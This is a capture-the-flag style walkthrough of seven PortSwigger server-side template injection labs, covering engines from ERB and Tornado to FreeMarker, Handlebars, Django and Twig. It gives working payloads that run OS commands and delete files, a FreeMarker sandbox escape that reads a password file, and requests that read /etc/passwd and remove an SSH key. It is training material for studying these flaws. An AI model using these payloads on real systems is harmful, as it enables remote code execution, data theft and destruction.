Walk-through of the Server-side template injection vulnerabilities lab on PortSwigger Web Security Academy. Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data.
- Practitioner – Basic server-side template injection
- Practitioner – Basic server-side template injection (code context)
- Practitioner – Server-side template injection using documentation
- Practitioner – Server-side template injection in an unknown language with a documented exploit
- Practitioner – Server-side template injection with information disclosure via user-supplied objects
- Expert – Server-side template injection in a sandboxed environment
- Expert – Server-side template injection with a custom exploit
Practitioner – Basic server-side template injection
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
Detect
Click on View details of the first product (productId=1). Server responds with a redirect.
HTTP/2 302 Found
Location: /?message=Unfortunately this product is out of stock
X-Frame-Options: SAMEORIGIN
Content-Length: 0
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock
[...]
<div>Unfortunately this product is out of stock
</div>
[...]
Send the request to the Repeater module.
Read the ERB documentation for Ruby. We can see the syntax like:
<p><%= @desc %></p>
Try <%= 7*7 %> as the payload (“%” URL encoded to %25):
GET /?message=Whatever<%25=7*7%25> HTTP/2
[...]
<div>Whatever49
</div>
[...]
The mathematical operation was executed.
Identify
We confirm that it is Ruby.
GET /?message=Whatever<%25=foobar%25> HTTP/2
<h4>Internal Server Error</h4>
<p class=is-warning>(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.7.0/erb.rb:905:in `eval'
from /usr/lib/ruby/2.7.0/erb.rb:905:in `result'
from -e:4:in `<main>'</p>
Exploit
GET /?message=<%25=`ls%20/home/carlos`%25> HTTP/2
<div>morale.txt
</div>
Delete the morale.txt file to solve the lab. You can use backticks or the system() method (documentation).
GET /?message=<%25=`rm%20-rf%20/home/carlos/morale.txt`%25> HTTP/2
GET /?message=<%25+system("rm+/home/carlos/morale.txt")+%25> HTTP/2
Practitioner – Basic server-side template injection (code context)
This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter
Detect
- Click on My Account and log in using credentials wiener:peter.
- Click on Preferred name and choose First Name.
- Inspect the request. It contains a field “user.first_name”.
- Send the request to the Repeater.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.first_name&csrf=<token>
From the Home page, click on a blog post. Post a comment. The Preferred name is used.
From the Repeater, modify the request to execute a mathematical operation.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=<@urlencode>user.name}}{{7*7<@/urlencode>&csrf=<token>
Refresh the blog post and look at the comments. You will find “Peter Wiener49”. The mathematical operation works.
Identify
The lab description says the template engine is Tornado. Read the Tornado template documentation. Try executing some Python code.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=<@urlencode>user.name}}
{% import os %}
{{os.system('id')<@/urlencode>&csrf=<token>
Refresh the blog post. The user id (from OS) will be displayed.
Exploit
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=<@urlencode>user.name}}
{% import os %}
{{os.system('rm /home/carlos/morale.txt')<@/urlencode>&csrf=<token>
Practitioner – Server-side template injection using documentation
aThis lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r
Detect
- Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
- On the Home page, click on a blog post.
- Click on Edit template.
Identify
The template contains the syntax “${product.name}”.
<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>
Use payloads from PayloadsAllTheThings. In the template, enter:
<p>${7*7}</p>
The page displays 49 which mean the mathematical operation is executed.
<p>#{1+1}</p>
The page displays “2”.
<p>${2.class}</p>
FreeMarker template error (DEBUG mode; use RETHROW in production!): For "." left-hand operand: Expected a hash, but this has evaluated to a number (wrapper: f.t.SimpleNumber): ==> 2 [in template "freemarker" at line 1, column 6] ---- FTL stack trace ("~" means nesting-related): - Failed at: ${2.class} [in template "freemarker" at line 1, column 4] ---- Java stack trace (for programmers): ---- freemarker.core.NonHashException: [... Exception message was already printed; see it above ...] at freemarker.core.Dot._eval(Dot.java:48) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100) at freemarker.core.DollarVariable.accept(DollarVariable.java:63) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)
The template engine is FreemMaker.
Exploit
Read the Apache FreeMaker documentation. Use RCE payload from PayloadsAllTheThings.
${"freemarker.template.utility.Execute"?new()("id")}
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)
Remove the morale.txt file to solve the lab.
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
Practitioner – Server-side template injection in an unknown language with a documented exploit
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
Detect
From the Home page, click on View Details for the first product.
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
<div>Unfortunately this product is out of stock</div>
Send the request to the Repeater module. Fuzz with the message parameter.
GET /?message=${{<%[%'"}}%\\whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
<h4>Internal Server Error</h4>
<p class=is-warning>/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
throw new Error(str);
^
/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
throw new Error(str);
^
Error: Parse error on line 1:
${{<%[%'"}}%\\whatever
---^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)
at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30)
at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
at [eval]:5:13
at Script.runInThisContext (node:vm:128:12)
at Object.runInThisContext (node:vm:306:38)
at node:internal/process/execution:83:21
at [eval]-wrapper:6:24
Node.js v19.8.1</p>
Identify
From the error message previously generated (in the path), we find the template engine Handlebars.
Exploit
See Handlebars in PayloadsAllTheThings. Send this payload to the Decoder module in Burp and encode it in URL.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%69%64%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
[...]
[object Object]
uid&#x3D;12002(carlos) gid&#x3D;12002(carlos) groups&#x3D;12002(carlos)
[...]
Remove the morale.txt file to solve the lab.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Host: <LAB ID>.web-security-academy.net
Practitioner – Server-side template injection with information disclosure via user-supplied objects
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data. To solve the lab, steal and submit the framework’s secret key. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r
Detect
- Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
- On the Home page, click on a blog post.
- Click on Edit template.
The template contains the “product” object.
<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>
Fuzz with the template.
${{<%[%'"}}%\
Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse raise self.error(token, e) django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '<%[%'"' from '<%[%'"'
Identify
From the previous output, we identify the template engine as Django Template. We can confirm this by executing this mathematical operation.
<p>{{100|add:100}}</p>
<p>200</p>
Exploit
From the Django documentation, we find the debug function. Edit the template.
POST /product/template?productId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
csrf=<token>&template=<@urlencode><p>{% debug %}</p><@/urlencode>&template-action=save
{'product': {'name': 'Waterproof Tea Bags', 'price': '$45.07', 'stock': 422}, 'settings': }
[...]
We find a “settings” object. From the documentation, the settings object has a SECRET_KEY property.
POST /product/template?productId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
csrf=<token>&template={{settings.SECRET_KEY}}&template-action=save
jbf9kkvg3a844dn6kdlq4nz44v2p6tdc
Click on Submit solution and enter the secret key to solve the lab.
Expert – Server-side template injection in a sandboxed environment
This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos’s home directory. Then submit the contents of the file. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r
Detect
- Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
- On the Home page, click on a blog post.
- Click on Edit template.
The template contains the “product” object.
<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>
Fuzz with the template.
${{<%[%'"}}%\
No output is returned. Try some mathematical operations. The application displays “9” as the result.
<p>${3*3}</p>
Identify
Modify the template:
<p>${product}</p>
<p>lab.actions.templateengines.FreeMarkerProduct@258e2e41</p>
The template engine is Freemarker.
Exploit
Use a payload from PayloadsAllTheThings to read /home/carlos/my_password.txt.
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
<p>115 55 101 110 109 119 106 116 51 113 102 53 99 104 120 114 53 56 56 109</p>
Convert the returned bytes to ASCII. Use CyberChef with Recipe From Decimal, or use the Hackvertor Burp extention:
<@bin2ascii><@dec2bin('(\\d+)')>115 55 101 110 109 119 106 116 51 113 102 53 99 104 120 114 53 56 56 109<@/dec2bin><@/bin2ascii>
s7enmwjt3qf5chxr588m
Click on Submit solution and enter the password to solve the lab.
Expert – Server-side template injection with a custom exploit
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter
Detect
- Click on My Account and log in using credentials wiener:peter.
- Click on Preferred name and choose First Name.
- Inspect the request. It contains a field “user.first_name”.
- Send the request to the Repeater.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.first_name&csrf=<token>
From the Home page, click on a blog post. Post a comment. The Preferred name is used. From the Repeater, replace “user.first_name” by “user” and send the request.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user&csrf=<token>
Refresh the blog post and look at the comments.
PHP Fatal error: Uncaught Error: Object of class User could not be converted to string in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(378) : eval()'d code:23 Stack trace: #0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(394): __TwigTemplate_b6a7c72a93507ca5c7099ebdeaec25ac82b0a909b1559ad83f3f9c71a201576b->doDisplay(Array, Array) #1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(371): Twig_Template->displayWithErrorHandling(Array, Array) #2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(379): Twig_Template->display(Array) #3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(289): Twig_Template->render(Array) #4 Command line code(10): Twig_Environment->render('index', Array) #5 {main} thrown in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(378) : eval()'d code on line 23
From My Account, upload an invalid avatar image.
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 284
<pre>PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: text/plain in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/csv.txt', 'text/plain')
#1 {main}
thrown in /home/carlos/User.php on line 28
</pre>
We find User->setAvatar in /home/carlos/User.php.
Identify
From the previous output, we identify the template engine as Twig. Twig is a modern template engine for PHP. Try completing the injection to execute the mathematical operation “{{7*7}}”.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.first_name}}{{7*7&csrf=<token>
Visit the blog post and see the comment author is now “Peter49”.
Exploit
Try reading files using the setAvatar method.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')&csrf=<token>
Visit the blog post.
GET /avatar?avatar=wiener HTTP/2
[...]
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 2262
root:x:0:0:root:/root:/bin/bash
[...]
carlos:x:12002:12002::/home/carlos:/bin/bash
[...]
Read User.php
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=ser.setAvatar('/home/carlos/User.php','image/jpg')&csrf=<token>
GET /avatar?avatar=wiener HTTP/2
[...]
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 1681
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
[...]
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
Set the avatar to /home/carlos/.ssh/id_rsa and use the public function gdprDelete to delete the file and solve the lab.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')&csrf=<token>
Visit the blog post.
POST /my-account/change-blog-post-author-display HTTP/2
[...]
blog-post-author-display=user.gdprDelete()&csrf=<token>
View the blog post to solve the lab.